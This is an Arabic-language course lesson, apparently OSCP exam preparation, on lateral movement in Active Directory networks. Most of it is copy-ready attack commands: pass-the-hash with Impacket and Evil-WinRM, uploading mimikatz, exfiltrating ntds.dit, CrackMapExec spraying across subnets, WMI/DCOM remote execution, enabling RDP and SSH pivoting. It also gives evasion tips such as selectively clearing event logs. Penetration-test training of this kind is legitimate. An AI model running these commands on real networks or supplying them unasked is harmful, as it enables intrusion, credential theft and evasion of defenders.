Active Directory ومحاكاة الاختبار
الحركة الجانبية
4 دقيقة للقراءة
بعد الحصول على الوصول الأولي، تحتاج للتنقل عبر الشبكة للوصول للأهداف عالية القيمة. الحركة الجانبية ضرورية لمجموعة AD في OSCP.
فهم الحركة الجانبية
تدفق الحركة الجانبية:
الوصول الأولي ──> جمع بيانات الاعتماد ──> الانتقال للمضيف التالي ──> التكرار
│ │ │
└── مستخدم محدود └── تفريغ التجزئات └── وصول admin
متغيرات PsExec
Impacket psexec.py
# مع كلمة المرور
psexec.py corp.local/administrator:password@$TARGET
# مع تجزئة NTLM
psexec.py -hashes :NTHASH corp.local/administrator@$TARGET
# تنفيذ أمر محدد
psexec.py corp.local/administrator:password@$TARGET "whoami"
Impacket smbexec.py
# أكثر تخفياً من psexec (بدون رفع ثنائي)
smbexec.py corp.local/administrator:password@$TARGET
# مع التجزئة
smbexec.py -hashes :NTHASH corp.local/administrator@$TARGET
Impacket wmiexec.py
# يستخدم WMI (أكثر تخفياً)
wmiexec.py corp.local/administrator:password@$TARGET
# مع التجزئة
wmiexec.py -hashes :NTHASH corp.local/administrator@$TARGET
المقارنة
| الأداة | الطريقة | الآثار | الكشف |
|---|---|---|---|
| psexec.py | SMB + خدمة | ثنائي على القرص | عالي |
| smbexec.py | SMB + ملف batch | آثار أقل | متوسط |
| wmiexec.py | WMI | بدون كتابة للقرص | منخفض |
| atexec.py | جدولة المهام | مهمة مجدولة | متوسط |
Evil-WinRM
أفضل أداة للوصول عبر Windows Remote Management.
# مع كلمة المرور
evil-winrm -i $TARGET -u administrator -p 'password'
# مع التجزئة
evil-winrm -i $TARGET -u administrator -H NTHASH
# مع تذكرة Kerberos
evil-winrm -i $TARGET -r corp.local
# رفع/تنزيل الملفات
*Evil-WinRM* PS> upload /tmp/mimikatz.exe
*Evil-WinRM* PS> download C:\Windows\NTDS\ntds.dit
الحركة الجانبية بـ CrackMapExec
تنفيذ الأوامر
# تنفيذ أمر
crackmapexec smb $TARGET -u admin -p 'password' -x "whoami"
# تنفيذ PowerShell
crackmapexec smb $TARGET -u admin -p 'password' -X "Get-Process"
# أهداف متعددة
crackmapexec smb $NETWORK/24 -u admin -p 'password' -x "hostname"
الرش والتنقل
# إيجاد أين لديك admin
crackmapexec smb $NETWORK/24 -u user -p 'password'
# Pwn3d! يشير لوصول admin
# ثم نفذ على تلك المضيفين
crackmapexec smb 192.168.1.10 -u user -p 'password' -x "whoami"
أدوات Windows الأصلية
PowerShell Remoting
# تمكين PSRemoting (إذا admin)
Enable-PSRemoting -Force
# الدخول لجلسة بعيدة
Enter-PSSession -ComputerName TARGET -Credential corp\admin
# تنفيذ أمر عن بعد
Invoke-Command -ComputerName TARGET -Credential corp\admin -ScriptBlock {whoami}
# التشغيل على حواسيب متعددة
Invoke-Command -ComputerName SRV1,SRV2,SRV3 -ScriptBlock {hostname}
WMI
# تنفيذ عملية عبر WMI
wmic /node:TARGET /user:administrator /password:password process call create "cmd.exe /c whoami > C:\result.txt"
# متغير PowerShell
Invoke-WmiMethod -ComputerName TARGET -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami"
PsExec (Sysinternals)
# تنفيذ أمر
psexec \\TARGET -u corp\admin -p password cmd.exe
# التنفيذ كـ SYSTEM
psexec \\TARGET -u corp\admin -p password -s cmd.exe
# نسخ وتنفيذ ملف
psexec \\TARGET -u corp\admin -p password -c malware.exe
الحركة الجانبية بـ RDP
تمكين RDP
# تمكين RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
# السماح عبر جدار الحماية
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
استخدام xfreerdp (Linux)
# الاتصال بكلمة المرور
xfreerdp /u:administrator /p:password /v:$TARGET
# الاتصال بالتجزئة (يتطلب وضع Restricted Admin)
xfreerdp /u:administrator /pth:NTHASH /v:$TARGET
# ملء الشاشة
xfreerdp /u:administrator /p:password /v:$TARGET /f
SharpRDP
# تنفيذ RDP بدون GUI
.\SharpRDP.exe computername=TARGET command="cmd.exe /c whoami" username=corp\admin password=password
SSH (أهداف Linux)
# مع كلمة المرور
ssh user@$TARGET
# مع المفتاح
ssh -i id_rsa user@$TARGET
# توجيه المنفذ عبر المحور
ssh -L 8080:internal-target:80 user@pivot
الحركة الجانبية بـ DCOM
# استخدام DCOM (أقل شيوعاً، جيد للتجنب)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc.exe","Minimized")
تجنب كشف الحركة الجانبية
نصائح OPSEC:
├── فضّل wmiexec على psexec (آثار أقل)
├── استخدم أدوات Windows الأصلية عندما ممكن
├── امسح سجلات الأحداث بانتقائية (إذا لزم)
├── استخدم أدوات admin شرعية (PowerShell remoting)
└── وقت الهجمات خلال ساعات العمل
سير عمل الحركة الجانبية
1. تحديد الأهداف بـ BloodHound
└── إيجاد أقصر مسار لـ DA
2. فحص وصول admin
└── crackmapexec smb TARGETS -u user -p pass
3. الانتقال للمضيفين المتاحين
└── evil-winrm، wmiexec، psexec
4. جمع بيانات الاعتماد
└── mimikatz، secretsdump
5. التكرار مع بيانات الاعتماد الجديدة
└── توسيع الوصول حتى الوصول لـ DA
مرجع سريع
| السيناريو | الأداة | الأمر |
|---|---|---|
| لديك كلمة مرور | evil-winrm | evil-winrm -i TARGET -u user -p pass |
| لديك تجزئة NTLM | wmiexec | wmiexec.py -hashes :HASH domain/user@TARGET |
| لديك تذكرة Kerberos | psexec | psexec.py -k -no-pass domain/user@TARGET |
| فحص وصول admin | crackmapexec | crackmapexec smb TARGETS -u user -p pass |
| وصول RDP | xfreerdp | xfreerdp /u:user /p:pass /v:TARGET |
في الدرس التالي، سنغطي استراتيجية الاختبار وسيناريوهات التدريب لاختبار OSCP. :::